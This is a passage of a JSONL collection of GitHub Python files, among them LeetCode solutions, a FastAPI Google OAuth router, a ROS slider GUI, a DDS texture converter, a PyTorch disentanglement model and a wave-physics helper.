outdf['KapeFile'].str.replace('^[^-]*-','').str.replace('-[^-]*$','').str.replace('_Output$','').str.replace(r'.*\\.dat$','')\n outdf['File'] = outdf['KapeFile'].str.replace('^[^-]*-','').str.replace(r'^([^-]*\\.dat)','DUMMY-\\\\1').str.replace('^[^-]*$','').str.replace('^[^-]*-','')\n\n return outdf\n\n# DATAFRAME ACCESSOR ##########################################################\n\n@pd.api.extensions.register_dataframe_accessor(\"d4kp\")\nclass Ds4n6KpAccessor:\n def __init__(self, pandas_obj):\n self._obj = pandas_obj\n\n def simple(self, *args, **kwargs):\n \"\"\" Redirects execution to simple_func()\n \"\"\"\n df = self._obj\n return simple_func(df, *args, **kwargs)\n\n@pd.api.extensions.register_dataframe_accessor(\"d4_kape\")\nclass Ds4n6KapeAccessor:\n def __init__(self, pandas_obj):\n self._obj = pandas_obj\n\n def simple(self, *args, **kwargs):\n \"\"\" Redirects execution to simple_func()\n \"\"\"\n df = self._obj\n return simple_func(df, *args, **kwargs)\n\n\n","repo_name":"ds4n6/ds4n6_lib","sub_path":"src/ds4n6_lib/kape.py","file_name":"kape.py","file_ext":"py","file_size_in_byte":15301,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"31"} +{"seq_id":"42122893511","text":"#Given a string s, find the longest palindromic substring in s. You may assume that the maximum length of s is 1000.\n\n#Example:\n\n#Input: \"babad\"\n\n#Output: \"bab\"\n\n#Note: \"aba\" is also a valid answer.\n\n#Example:\n\n#Input: \"cbbd\"\n\n#Output: \"bb\"\n\n\nclass Solution:\n \n _low = 0\n \n _high = 0\n \n def longestPalindrome(self, s):\n \"\"\"\n :type s: str\n :rtype: str\n \"\"\"\n for i in range(len(s)):\n self.extendPalindrome(s, i, i)\n self.extendPalindrome(s, i, i + 1)\n return s[self._low : self._high + 1]\n \n \n def extendPalindrome(self, s, head, tail):\n while head >= 0 and tail < len(s) and s[head] == s[tail]:\n tail += 1\n head -= 1\n tail -= 1\n head += 1\n if tail - head > self._high - self._low:\n self._high, self._low = tail, head\n\nclass RecommendSolution:\n # @return a string\n def longestPalindrome(self, s):\n if len(s)==0:\n \treturn 0\n maxLen=1\n start=0\n for i in range(len(s)):\n \tif i-maxLen >=1 and s[i-maxLen-1:i+1]==s[i-maxLen-1:i+1][::-1]:\n \t\tstart=i-maxLen-1\n \t\tmaxLen+=2\n \t\tcontinue\n\n \tif i-maxLen >=0 and s[i-maxLen:i+1]==s[i-maxLen:i+1][::-1]:\n \t\tstart=i-maxLen\n \t\tmaxLen+=1\n return s[start:start+maxLen]\n","repo_name":"lucasloo/leetcodepy","sub_path":"solutions/5LongestPalindromicSubstring.py","file_name":"5LongestPalindromicSubstring.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14423560179","text":"from fastapi import APIRouter, HTTPException, Depends\nfrom sqlalchemy.orm import Session\nfrom fastapi.responses import JSONResponse, RedirectResponse\nfrom starlette.requests import Request\nfrom authlib.integrations.starlette_client import OAuth\nfrom starlette.config import Config\nfrom ..models.vendor import VendorModel, SessionModel\nfrom ..database import get_db\nimport requests\nimport json\n \n\nrouter = APIRouter(\n prefix=\"/user\",\n tags=[\"user\"]\n)\n\nconfig = Config(\".env\")\noauth = OAuth(config)\noauth.register(\n name='google',\n server_metadata_url='https://accounts.google.com/.well-known/openid-configuration',\n client_kwargs={\n 'scope': 'openid email profile'\n }\n)\n\n@router.get('/login')\nasync def login(request: Request):\n redirect_uri = request.url_for('auth')\n return await oauth.google.authorize_redirect(request, redirect_uri)\n\n@router.get('/auth')\nasync def auth(request: Request, db: Session=Depends(get_db)):\n try:\n token = await oauth.google.authorize_access_token(request)\n\n user=db.query(VendorModel).filter(VendorModel.email==token.get('userinfo')['email']).first()\n if user is None:\n userinfo = token.get('userinfo')\n newUser = VendorModel()\n newUser.name = userinfo['name']\n newUser.email = userinfo['email']\n db.add(newUser)\n db.commit()\n loginSession = SessionModel()\n loginSession.sessionId = token.get('access_token')\n loginSession.email = token.get('userinfo')['email']\n db.add(loginSession)\n db.commit()\n response = RedirectResponse(url=\"http://localhost:3000/authredirect/vendor?token=\"+str(token.get('access_token')))\n return response\n except ValueError:\n raise HTTPException(status_code=498, detail=ValueError)\n\n@router.get('/getuser')\nasync def auth(request: Request, db: Session=Depends(get_db)):\n token = request.headers[\"Authorization\"]\n userResponse = db.query(SessionModel).filter(SessionModel.sessionId==token).first()\n email = userResponse.email\n if email:\n userInfo =db.query(VendorModel).filter(VendorModel.email==email).first()\n response = {\n \"user\": {\n 'name':userInfo.name,\n 'email':userInfo.email\n }\n }\n return JSONResponse(status_code=200, content=response) \n else:\n raise HTTPException(status_code=498, detail={'msg': 'Invalid Token'})","repo_name":"NikhilBudaniya/KTMS_FINAL_BHACKEND","sub_path":"vendor-management-mvp-VendorLogin/src/router/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":2460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39803554162","text":"#!/usr/bin/env python\nimport roslib; roslib.load_manifest('ball_detector')\nimport rospy\nimport wx\nfrom geometry_msgs.msg import Vector3\n\nclass configGUIFrame(wx.Frame):\n def __init__(self, parent, title):\n wx.Frame.__init__(self, parent, title=title, size=(500,200))\n panel = wx.Panel(self, 1)\n\n # Create the low HSV sliders\n self.sliderLowH = wx.Slider(panel, -1,\n rospy.get_param('thresh/low/h',0),\n 0, 255, wx.DefaultPosition, (200, -1),\n wx.SL_AUTOTICKS | wx.SL_HORIZONTAL | wx.SL_LABELS)\n self.sliderLowS = wx.Slider(panel, -1,\n rospy.get_param('thresh/low/s',0),\n 0, 255, wx.DefaultPosition, (200, -1),\n wx.SL_AUTOTICKS | wx.SL_HORIZONTAL | wx.SL_LABELS)\n self.sliderLowV = wx.Slider(panel, -1,\n rospy.get_param('thresh/low/v',0),\n 0, 255, wx.DefaultPosition, (200, -1),\n wx.SL_AUTOTICKS | wx.SL_HORIZONTAL | wx.SL_LABELS)\n\n #Add sliders to a box layout\n lowBox = wx.BoxSizer(wx.VERTICAL)\n lowBox.Add(wx.StaticText(panel,-1,'Low HSV Threshold'),0,wx.ALIGN_CENTER)\n\n tmpBox = wx.BoxSizer(wx.HORIZONTAL)\n tmpBox.Add(self.sliderLowH,1,wx.ALIGN_LEFT)\n tmpBox.Add(wx.StaticText(panel,-1,'H'),0,wx.ALIGN_CENTER|wx.TOP|wx.LEFT,15)\n lowBox.Add(tmpBox,1,wx.ALIGN_CENTER)\n\n tmpBox = wx.BoxSizer(wx.HORIZONTAL)\n tmpBox.Add(self.sliderLowS,1,wx.ALIGN_LEFT)\n tmpBox.Add(wx.StaticText(panel,-1,'S'),0,wx.ALIGN_CENTER|wx.TOP|wx.LEFT,15)\n lowBox.Add(tmpBox,1,wx.ALIGN_CENTER)\n\n tmpBox = wx.BoxSizer(wx.HORIZONTAL)\n tmpBox.Add(self.sliderLowV,1,wx.ALIGN_LEFT)\n tmpBox.Add(wx.StaticText(panel,-1,'V'),0,wx.ALIGN_RIGHT|wx.TOP|wx.LEFT,15)\n lowBox.Add(tmpBox,1,wx.ALIGN_CENTER)\n\n #Create the high HSV sliders\n self.sliderHighH = wx.Slider(panel, -1,\n rospy.get_param('thresh/high/h',0),\n 0, 255, wx.DefaultPosition, (200, -1),\n wx.SL_AUTOTICKS | wx.SL_HORIZONTAL | wx.SL_LABELS)\n self.sliderHighS = wx.Slider(panel, -1,\n rospy.get_param('thresh/high/s',0),\n 0, 255, wx.DefaultPosition, (200, -1),\n wx.SL_AUTOTICKS | wx.SL_HORIZONTAL | wx.SL_LABELS)\n self.sliderHighV = wx.Slider(panel, -1,\n rospy.get_param('thresh/high/v',0),\n 0, 255, wx.DefaultPosition, (200, -1),\n wx.SL_AUTOTICKS | wx.SL_HORIZONTAL | wx.SL_LABELS)\n\n # Add high HSV sliders to a layout\n highBox = wx.BoxSizer(wx.VERTICAL)\n highBox.Add(wx.StaticText(panel,-1,'High HSV Threshold'),0,wx.ALIGN_CENTER)\n highBox.Add(self.sliderHighH,1,wx.ALIGN_CENTER)\n highBox.Add(self.sliderHighS,1,wx.ALIGN_CENTER)\n highBox.Add(self.sliderHighV,1,wx.ALIGN_CENTER)\n\n # Add the slider boxes to the main box\n hBox = wx.BoxSizer(wx.HORIZONTAL)\n hBox.Add(lowBox,1)\n hBox.Add(highBox,1)\n\n # Add the final box\n panel.SetSizer(hBox)\n\n # Create the callback on adjustment\n self.Bind(wx.EVT_SLIDER,self.sliderMoved)\n\n # Create the ROS publisher\n self.threshHighPub = rospy.Publisher('thresh/high',Vector3)\n # Create the ROS publisher\n self.threshLowPub = rospy.Publisher('thresh/low',Vector3)\n\n # Make us visible\n self.Show(True)\n\n def sliderMoved(self,event):\n # Get the slider values\n lh = self.sliderLowH.GetValue()\n ls = self.sliderLowS.GetValue()\n lv = self.sliderLowV.GetValue()\n hh = self.sliderHighH.GetValue()\n hs = self.sliderHighS.GetValue()\n hv = self.sliderHighV.GetValue()\n rospy.loginfo('New setting: HSV Low: %d,%d,%d High: %d,%d,%d',\n lh,ls,lv,hh,hs,hv)\n # Publish the Vector3 messages\n self.threshLowPub.publish(x=lh,y=ls,z=lv)\n self.threshHighPub.publish(x=hh,y=hs,z=hv)\n \ndef startGUI():\n app = wx.App(False)\n frame = configGUIFrame(None, \"Configuration GUI\")\n rospy.init_node('HSV_configGUI')\n app.MainLoop()\n\n\nif __name__ == '__main__':\n try:\n startGUI()\n except rospy.ROSInterruptException: pass\n","repo_name":"dj-ryan/ball-detector","sub_path":"nodes/configGUI.py","file_name":"configGUI.py","file_ext":"py","file_size_in_byte":4579,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"14839955951","text":"def convert_pcd9(data: bytes):\n \"\"\" adapted from https://github.com/drewcassidy/quicktex/blob/main/quicktex/dds.py \"\"\"\n import struct\n\n assert data[0:4] == b\"\\x50\\x43\\x44\\x39\"\n pcd9, tex_fmt, len_data, unknownC, img_width, img_height, img_depth, \\\n unknown16, num_mipmaps, flags, tex_class = struct.unpack_from(\" 0:\n out |= mipmap_count\n\n return out\n\n\n def pitch():\n cols = (img_width + 3) // 4\n rows = (img_height + 3) // 4\n\n if tex_fmt == 21:\n return int(4 * img_width) # don't multiply with img_height\n elif tex_fmt == 827611204: # DXT1\n blk_size = 8\n elif tex_fmt == 861165636 or tex_fmt == 894720068: # DXT3 DXT5\n blk_size = 16\n else:\n assert False, \"unknown tex format: {:x}\".format(tex_fmt)\n\n return int(rows * cols * blk_size)\n\n out_blob += struct.pack(\n '<7I44x',\n 124, # length of dds header\n flags(),\n img_height,\n img_width,\n pitch(),\n 0, # depth,\n num_mipmaps,\n )\n\n def pixel_format():\n flags_alpha_pixels = 0x1\n flags_fourcc = 0x4\n flags_rgb = 0x40\n\n if tex_fmt == 21:\n return flags_rgb | flags_alpha_pixels\n else:\n return flags_fourcc\n\n fourcc = 0 if tex_fmt == 21 else tex_fmt\n pixel_size = 32 if tex_fmt == 21 else 0\n pixel_bitmasks = (0x00FF0000, 0x0000FF00, 0x000000FF, 0xFF000000) if tex_fmt == 21 else (0, 0, 0, 0)\n\n out_blob += struct.pack(\n '<8I',\n 32,\n pixel_format(),\n fourcc,\n pixel_size,\n *pixel_bitmasks\n )\n\n def dwCaps1():\n flags_complex = 0x8\n flags_mipmap = 0x400000\n flags_texture = 0x1000\n\n out = flags_texture\n if num_mipmaps > 0:\n out |= (flags_complex | flags_mipmap)\n return out\n\n def dwCaps2():\n # flags_fullcubemap = 0xFE00\n # if tex_class == 3:\n # return flags_fullcubemap\n\n return 0\n\n out_blob += struct.pack(\n '<4I4x',\n dwCaps1(), # dwCaps1\n dwCaps2(), # dwCaps2\n 0, # dwCaps3 = 0\n 0 # dwCaps4 = 0\n )\n\n assert len(out_blob) == 124 + 4\n\n out_blob += data[28:]\n \n return img_width, img_height, out_blob\n","repo_name":"rrika/dxhr","sub_path":"tools/dds.py","file_name":"dds.py","file_ext":"py","file_size_in_byte":3133,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"31"} +{"seq_id":"16916426129","text":"from argparse import ArgumentParser\nfrom distutils.util import strtobool\nimport pytorch_lightning as pl\nimport torch\nimport torch.nn.functional as F\nimport wandb\nimport random\n\nfrom torch import nn\nfrom torch.utils.data import DataLoader\n# from dataset import *\nfrom utils import get_env,load_envs,tv_loss\n\nimport numpy as np\n\nfrom dataset import *\n\n\n\ndataset_names = ['dsprites_full','shapes3d','cars3d','small-norb','faust','dsprites_aggr']\n \nclass Model(pl.LightningModule):\n\n def __init__(self, hparams, encoder=None, encoders=None, decoder=None):\n load_envs()\n super(Model, self).__init__()\n # assert hparams.latentdim == hparams.latentdim1 + hparams.latentdim2,\"Inconsistent dimensions for the latent space!\"\n self.hparams = hparams\n self.lr= self.hparams.learning_rate\n torch.set_default_tensor_type(torch.FloatTensor)\n self.latentdim = self.hparams.latentdim\n self.n_latent_factors = self.hparams.n_latent_factors\n \n self.encoders = encoders\n self.encoder = encoder\n self.decoder=decoder\n\n self.criterion= nn.BCELoss(reduction=\"mean\") if self.hparams.n_dataset == 0 else nn.MSELoss(reduction=\"mean\")\n \n self.aggregator = None \n\n self.eye_ld=None\n \n if self.encoders is None:\n self.encoders = nn.ModuleList()\n for i in range(self.n_latent_factors):\n self.encoders.append(nn.Sequential(\n nn.Linear(self.hparams.latentdim, self.hparams.latentdim),\n nn.ReLU(True),\n nn.Linear(self.hparams.latentdim, self.hparams.latentdim),\n # nn.LayerNorm(self.hparams.latentdim)\n ))\n \n\n def pre_process(self,x):\n if len(x.shape)==3:\n x=x[None,...]\n x = x.permute(0,3,1,2)\n return x\n \n \n def post_process(self, x: torch.Tensor):\n x = self.squash(x.permute(0,2,3,1))\n return x\n\n def aggregate(self, x):\n if self.aggregator is not None:\n x = self.aggregator(torch.cat(x, -1))\n return x\n else:\n if type(x) is list or type(x) is tuple:\n x = torch.stack(x)\n return x.sum(0)\n\n def latent_encode(self, x):\n z_latents1 = []\n for i in range(self.n_latent_factors):\n tmp = self.encoders[i](x)\n z_latents1.append(tmp)\n return z_latents1\n\n def squash(self, x):\n return torch.sigmoid(x) if self.hparams.n_dataset==0 else x\n\n def forward(self, xx: torch.Tensor):\n xx = self.pre_process(xx)\n zz = self.encoder(xx)\n \n z_latents = self.latent_encode(zz)\n z_aggrs = self.aggregate(z_latents)\n \n outs = self.decoder(z_aggrs)\n outs = self.post_process(outs)\n \n return {\"yy\": outs,\n \"z_latents\": z_latents,\n \"zz\": zz,\n \"z_aggrs\": z_aggrs\n }\n\n\n def on_train_start(self) -> None:\n self.logger.log_hyperparams(self.hparams)\n\n \n def training_step(self, batch, batch_idx):\n \n epochs = self.hparams.max_epochs\n \n loss_cons_reg = torch.tensor(0)\n losses_cons = torch.tensor(0)\n loss_sparse = torch.tensor(0)\n loss_dist = torch.tensor(0)\n \n \n x1, x2, _ = batch\n xx = torch.cat([x1,x2],0)\n outputs = self.forward(xx)\n \n yy, z_latents, zz, z_aggr = \\\n outputs[\"yy\"],\\\n outputs[\"z_latents\"], \\\n outputs[\"zz\"], \\\n outputs[\"z_aggrs\"]\n \n #split in z1 and z2 in the first dimension\n z_latents = torch.stack(z_latents,0)\\\n .view(len(z_latents),2,-1,z_latents[0].shape[-1])\\\n .transpose(0,1)\n zz = zz.view( *([2,-1] + list(zz.shape[1:])) )\n z_aggr = z_aggr.view( *([2,-1] + list(z_aggr.shape[1:])) )\n\n \n beta1 = min(np.exp((25/epochs)*(self.current_epoch - epochs*0.4)), 1)\n beta2 = min(np.exp((25/epochs)*(self.current_epoch - epochs*0.5)), 1)\n beta3 = 1-min(np.exp((25/epochs)*(self.current_epoch - epochs*0.4)), 1)\n \n \n ############################### reconstruction loss\n loss_rec = self.criterion(yy,xx)\n \n\n #Start only with reconstruction loss for the first 25% of epochs\n if self.current_epoch>epochs*0.25:\n \n ################################ SPARSE LOSS\n if self.eye_ld is None:\n self.eye_ld = torch.eye(z_latents.shape[1]).to(z_latents.device)\n all_z = z_latents.permute(0,2,3,1)\n loss_sparse = (all_z@(1-self.eye_ld)*all_z).abs().sum(-1).mean()\n\n ################################ consistency loss\n if beta2>1e-2 and self.hparams.lambda_consistency>0:\n _, nl, bs, d = z_latents.shape\n\n z_misc = []\n z_latents_miscs_pre = []\n for i in range(self.n_latent_factors):\n l = z_latents[1,:,:,:]+0 \n l[i] = z_latents[0,i,:,:]+0\n z_misc.append(self.aggregate(l))\n z_latents_miscs_pre.append(l)\n z_latents_miscs_pre = torch.stack(z_latents_miscs_pre,1).view(nl,nl*bs,d)\n\n #subsample bs*2 combinations\n idxs = torch.randperm(z_latents_miscs_pre.shape[1])[:bs*2]\n z_latents_miscs_pre = z_latents_miscs_pre[:,idxs,:]\n\n z_miscs = torch.stack(z_misc,0).view(-1,d)[idxs] #nl,bs,d -> nlxbs,d\n\n decoded = self.decoder(z_miscs)#.detach()\n out_misc = self.post_process(decoded)\n z_latents_miscs = self.latent_encode(self.encoder(self.squash(decoded)))\n z_latents_miscs = torch.stack(z_latents_miscs,0)\n\n losses_cons = F.mse_loss(z_latents_miscs,z_latents_miscs_pre,reduction=\"mean\")\n\n ################################## CONS REG + DIST\n _, nl, bs, d = z_latents.shape\n\n dist = (z_latents[0]-z_latents[1]).pow(2).sum(-1).t()\n zs = z_latents.transpose(0,1).view(nl,2*bs,d)\n mean_dist = torch.cdist(zs,zs).mean([-2,-1])+1e-8\n\n dist_norm = dist/mean_dist\n mask = 1-torch.softmax(1e6*dist_norm,-1).detach()\n \n loss_cons_reg = (dist*mask).mean() + 10*(0.05-dist*(1-mask)).relu().mean()\n \n ###### distribution loss #######\n st = mask.t().detach()\n sel = torch.softmax(1e3*dist,-1)\n loss_dist = 1e2*(1/sel.shape[-1] - sel.mean(0)).pow(2).mean()\n\n ##############################################\n\n \n loss = loss_rec \\\n + beta1 * (self.hparams.lambda_distance*loss_cons_reg +\\\n self.hparams.lambda_sparsity*loss_sparse) \\\n + beta2 * self.hparams.lambda_consistency * losses_cons \\\n + beta3 * self.hparams.lambda_distribution * loss_dist\n \n# if batch_idx%8==0:\n self.log(\"train_loss\", loss.item())\n self.log(\"loss_rec\", loss_rec.item())\n self.log(\"loss_sparse\", loss_sparse.item())\n self.log(\"loss_consistency\", losses_cons.item())\n self.log(\"loss_distance\", loss_cons_reg.item())\n self.log(\"loss_distrib\", loss_dist.item())\n self.log(\"beta1\", beta1)\n self.log(\"beta2\", beta2)\n self.log(\"beta3\", beta3)\n\n if batch_idx==0:\n self.logger.experiment.log({\"trainx1\": [wandb.Image((xx[0, ...]).cpu().numpy(), caption=\" trainx1\"),\n wandb.Image(torch.clip(yy[0, ...],0,1).detach().cpu().numpy(), caption=\"trainy1\")]})\n\n return {\"loss\": loss}#, loss_rec\n\n\n\n def validation_step(self, batch, batch_idx):\n x1, x2,idt = batch\n xx = torch.cat([x1,x2],0)\n \n outputs = self.forward(xx)\n \n yy, z_latents, zz, z_aggr = \\\n outputs[\"yy\"],\\\n outputs[\"z_latents\"], \\\n outputs[\"zz\"], \\\n outputs[\"z_aggrs\"]\n \n #reconstruction loss\n loss_rec = self.criterion(xx,yy)\n \n #split in z1 and z2 in the first dimension\n yy = yy.view( *([2,-1] + list(yy.shape[1:])) )\n z_latents = torch.stack(z_latents,0)\\\n .view(len(z_latents),2,-1,z_latents[0].shape[-1])\\\n .transpose(0,1)\n zz = zz.view( *([2,-1] + list(zz.shape[1:])) )\n z_aggr = z_aggr.view( *([2,-1] + list(z_aggr.shape[1:])) )\n \n \n self.log(\"val_loss\", loss_rec.detach().cpu())\n return {\n \"val_loss\": loss_rec.detach().cpu()\n }\n\n def validation_epoch_end(self, outputs):\n # LOGS\n avg_loss = torch.stack([x[\"val_loss\"] for x in outputs]).mean()\n\n # tensorboard = self.logger[1].experiment\n idx1 = random.randint(0, len(self.val_set) - 1)\n idx2 = random.randint(0, len(self.val_set) - 1)\n \n x1 = self.val_set[idx1][0].cuda()\n x2 = self.val_set[idx2][0].cuda()\n \n I = self.get_dis_image(torch.stack([x1,x2]))\n self.logger.experiment.log({'dis': [\n wandb.Image(I.cpu().numpy(), caption=\"dis\")]})\n\n \n def get_dis_image(self, xx):\n model=self\n img1 = xx[0]\n img2 = xx[1]\n col = img1[:,:5,:]*0+1\n\n outputs = model.forward(torch.cat([img1[None,...], img2[None,...]],0))\n\n rec1 = outputs['yy'][0].detach().clip(0,1)\n rec2 = outputs['yy'][1].detach().clip(0,1)\n\n I=None\n for i in range(len(outputs[\"z_latents\"])):\n z1 = [x[0]+0 for x in outputs[\"z_latents\"]]\n z2 = [x[1]+0 for x in outputs[\"z_latents\"]]\n a = torch.linspace(1,0,4)[1:,None].to(xx.device) \n z1 = [z1.repeat(a.shape[0],1) for z1,z2 in zip(z1,z2)]\n z1[i] = z1[i][0,:]*a + (1-a)*z2[i][:]\n\n z = model.aggregate(z1)\n res = model.post_process(model.decoder.forward(z).detach()).clip(0,1) \n res = res.flatten().reshape(*list(res.shape))\n Irow = torch.cat([img1,col,col ,rec1, col]+sum([[r,col] for r in res],[])+ [rec2,col,col,img2],1)\n if I is None:\n I=Irow\n else:\n I = torch.cat([I,Irow],0)\n return I\n\n\n def configure_optimizers(self):\n # REQUIRED\n # can return multiple optimizers and learning_rate schedulers\n return torch.optim.Adam(self.parameters(), lr=self.lr,\n weight_decay=self.hparams.weight_decay)\n\n def prepare_data(self) -> None:\n print('dataset_loading...')\n \n dataset_name = dataset_names[self.hparams.n_dataset]\n\n if dataset_name == 'dsprites_aggr':\n print(\"dsprites_aggr\")\n self.train_set = DatasetVariableK(dataset_name='dsprites_aggr',k=self.hparams.k, factors=[1,2,4])\n self.val_set= self.train_set\n else: \n print(\"%s with variable k\" % dataset_name)\n self.train_set = DatasetVariableK(dataset_name = dataset_name, factors=None, k=self.hparams.k)\n self.val_set = self.train_set\n print('Done')\n\n def train_dataloader(self):\n # REQUIRED\n return DataLoader(\n self.train_set,\n batch_size=self.hparams.batch_size,\n shuffle=strtobool(self.hparams.train_shuffle),\n num_workers=32,\n drop_last=True\n )\n\n def val_dataloader(self):\n # OPTIONAL\n return DataLoader(\n self.val_set,\n batch_size=self.hparams.batch_size,\n shuffle=False,\n num_workers=32,\n drop_last=True\n )\n\n @staticmethod\n def add_model_specific_args(parent_parser):\n \"\"\"\n Specify the hyperparams for this LightningModule\n \"\"\"\n # MODEL specific\n parser = ArgumentParser(parents=[parent_parser], add_help=False)\n\n parser.add_argument(\"--n_latent_factors\", default=10, type=int)\n parser.add_argument(\"--latentdim\", default=10, type=int)\n\n parser.add_argument(\"--n_dataset\", default=0, type=int)\n parser.add_argument(\"--k\", default=1, type=int)\n\n parser.add_argument(\"--lambda_distribution\", default=1e-4, type=float)\n parser.add_argument(\"--lambda_sparsity\", default=1e-1, type=float)\n parser.add_argument(\"--lambda_consistency\", default=1e2, type=float)\n parser.add_argument(\"--lambda_distance\", default=1e-1, type=float)\n\n \n # training specific (for this model)\n parser.add_argument(\"--learning_rate\", default=5e-4, type=float)\n parser.add_argument(\"--batch_size\", default=32, type=int)\n parser.add_argument(\"--weight_decay\", default=1e-6, type=float)\n parser.add_argument(\"--train_shuffle\", default=\"True\", type=str)\n return parser","repo_name":"marc0git/PMPdisentanglement","sub_path":"models/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":13040,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"18350411331","text":"'''\n###############################################################################\n# A class for wave properties\n# Requirements:\n# from scipy.optimize import fsolve\n###############################################################################\n\n'''\n\nimport numpy as np\nimport math\nfrom matplotlib import pyplot as plt\nfrom scipy.optimize import fsolve\n\nclass RealWave:\n '''\n Class for calculating a set of physical properties and non-dimensional numbers\n of a monochromic wave given some quantities. All the quantities \n are in SI units.\n '''\n \n def __init__(self, g = 9.8, sigma = 0.074, rho = 1000, rho_air = 1.225):\n '''\n Parameters\n ----------\n\n g : gravity acceleration (m/s^2) \n sigma : surface tension of water/air interface (N/m)\n rho : density of water (kg/m^3)\n rho_air : density of air\n \n self.k : wave number (1/m)\n self.omega : wave frequency (1/s)\n self.c : phase speed (m/s)\n self.wl : wavelength (m)\n self.Bo : Bond number \n \n '''\n self.g, self.sigma, self.rho, self.rho_air = g, sigma, rho, rho_air\n self.k, self.omega, self.c, self.wl, self.Bo = 0, 0, 0, 0, 0\n \n def k2omega(self,k):\n self.k = k\n # Gravity-capillary wave dispersion relation\n self.omega = (self.g*self.k + self.sigma*self.k**3/self.rho)**0.5\n self.c = self.omega/self.k\n self.wl = 2*np.pi/self.k\n self.Bo = (self.rho-self.rho_air)*self.g/self.sigma/self.k**2\n print(\"Given k = %g (1/m), calculated omega = %g (1/s), phase speed c = %g (m/s), wavelength = %g (m), Bo = %g\" \n %(self.k, self.omega, self.c, self.wl, self.Bo))\n\n # Implicit function of w(k)\n def omega2k(self,omega):\n self.omega = omega\n k = fsolve(lambda k : (self.g*k + self.sigma*k**3/self.rho)**0.5 - omega, 0)\n self.k = k[0]\n self.c = self.omega/self.k\n self.wl = 2*np.pi/self.k\n self.Bo = (self.rho-self.rho_air)*self.g/self.sigma/self.k**2\n print(\"Given omega = %g (1/s), calculated k = %g (1/m), phase speed c = %g (m/s), wavelength = %g (m), Bo = %g\" \n %(self.omega, self.k, self.c, self.wl, self.Bo))\n \n # If Bond number is given instead of k\n def Bo2k(self,Bo):\n self.Bo = Bo\n self.k = ((self.rho-self.rho_air)*self.g/Bo/self.sigma)**0.5\n self.wl = 2*np.pi/self.k\n self.omega = (self.g*self.k + self.sigma*self.k**3/self.rho)**0.5\n self.c = self.omega/self.k\n viscosity = 8.9*10**(-7)\n self.Re = self.c*self.wl/viscosity \n c_simu = (1/2/np.pi*(1+1/Bo))**0.5\n self.Re_nominal = self.Re/c_simu\n print(\"Given Bo = %g, calculated lambda = %g (m), k = %g (1/m), omega = %g (1/s), phase speed c = %g (m/s)\" \n %(self.Bo, self.wl, self.k, self.omega, self.c))\n print(\"Re = %g, c in simulation is %g. Reynolds number that should be passed in is %g\" %(self.Re, c_simu, self.Re_nominal))\n ","repo_name":"DeikeLab/jiarongw-postprocessing","sub_path":"jupyter_notebook/functions/wavehelper.py","file_name":"wavehelper.py","file_ext":"py","file_size_in_byte":3044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29663765941","text":"import sys\nN = int(input())\nnums = list(map(int, sys.stdin.readline().split()))\ndp = [-float('inf') for _ in range(N + 1)]\ndp[1] = nums[0]\nindex = 1\n\n\ndef binary_search(start, end, target):\n while start <= end:\n if start == end:\n return start\n elif start + 1 == end:\n return start if dp[start] >= target else end\n mid = (start + end) // 2\n if dp[mid] == target:\n return mid\n elif dp[mid] < target:\n start = mid + 1\n else:\n end = mid\n\n\nfor target in nums:\n if dp[index] < target:\n index += 1\n dp[index] = target\n else:\n next = binary_search(0, index, target)\n dp[next] = target\n\nprint(index)\n\n# * ========================================================\n# * @Title : 12015\n# * @Path : python\\02_Solved\\boj\\e.이분탐색\\12015.py\n# * @Description : LIS의 O(nlogn) 구현\n# * @Date : 2021-08-05 16:08:34\n# * --------------------------------------------------------\n# * @Author : Inseong-so(https://github.com/inseong-so)\n# * ========================================================\n\n# 복습용, 함수화할 부분\n\n\ndef solution(N, nums):\n\n dp = [-float('inf') for _ in range(N + 1)]\n dp[1] = nums[0]\n index = 1\n\n def binary_search(start, end, target):\n while start <= end:\n if start == end:\n return start\n elif start + 1 == end:\n return start if dp[start] >= target else end\n mid = (start + end) // 2\n if dp[mid] == target:\n return mid\n elif dp[mid] < target:\n start = mid + 1\n else:\n end = mid\n\n for target in nums:\n if dp[index] < target:\n index += 1\n dp[index] = target\n else:\n next = binary_search(0, index, target)\n dp[next] = target\n return index\n\n\ndef test_01():\n N = 6\n nums = [10, 20, 10, 30, 20, 50]\n assert solution(N, nums) == 3\n\n\ndef test_02():\n N = 6\n nums = [8, 5, 1, 10, 5, 9]\n assert solution(N, nums) == 3\n\n\ndef test_03():\n N = 7\n nums = [7, 2, 9, 10, 3, 8, 10]\n assert solution(N, nums) == 4\n\n\ndef test_04():\n N = 7\n nums = [4, 8, 3, 7, 1, 2, 7]\n assert solution(N, nums) == 3\n\n\ndef test_05():\n N = 14\n nums = [7, 1, 2, 3, 3, 9, 5, 10, 9, 10, 6, 3, 8, 10]\n assert solution(N, nums) == 7\n\n\ndef test_06():\n N = 13\n nums = [6, 5, 1, 9, 2, 6, 8, 10, 3, 8, 4, 7, 10]\n assert solution(N, nums) == 6\n","repo_name":"InSeong-So/Algorithm","sub_path":"python/problem/boj/e.이분탐색/07_12015.py","file_name":"07_12015.py","file_ext":"py","file_size_in_byte":2551,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"25320166447","text":"#!/usr/bin/env python3\n\nfrom tiden.case.apptestcase import AppTestCase\nfrom tiden.utilities.control_utility import ControlUtility\nfrom tiden.util import log_print, log_put, render_template\nfrom requests import get as requests_get\nfrom ..utilities.snapshot_utility import SnapshotUtility\n\n\nclass RegressAppTestCase(AppTestCase):\n\n def __init__(self, *args):\n super().__init__(*args)\n self.add_app('ignite')\n self.add_app('zookeeper')\n self.caches = {}\n self.shared_storage = None\n\n def setup(self):\n conf = self.tiden.config['environment']\n res_dir = self.tiden.config['rt']['test_resource_dir']\n # Collect Ignite addresses\n addresses = []\n # TODO: wtf?\n for host_type in ['server', 'client']:\n if 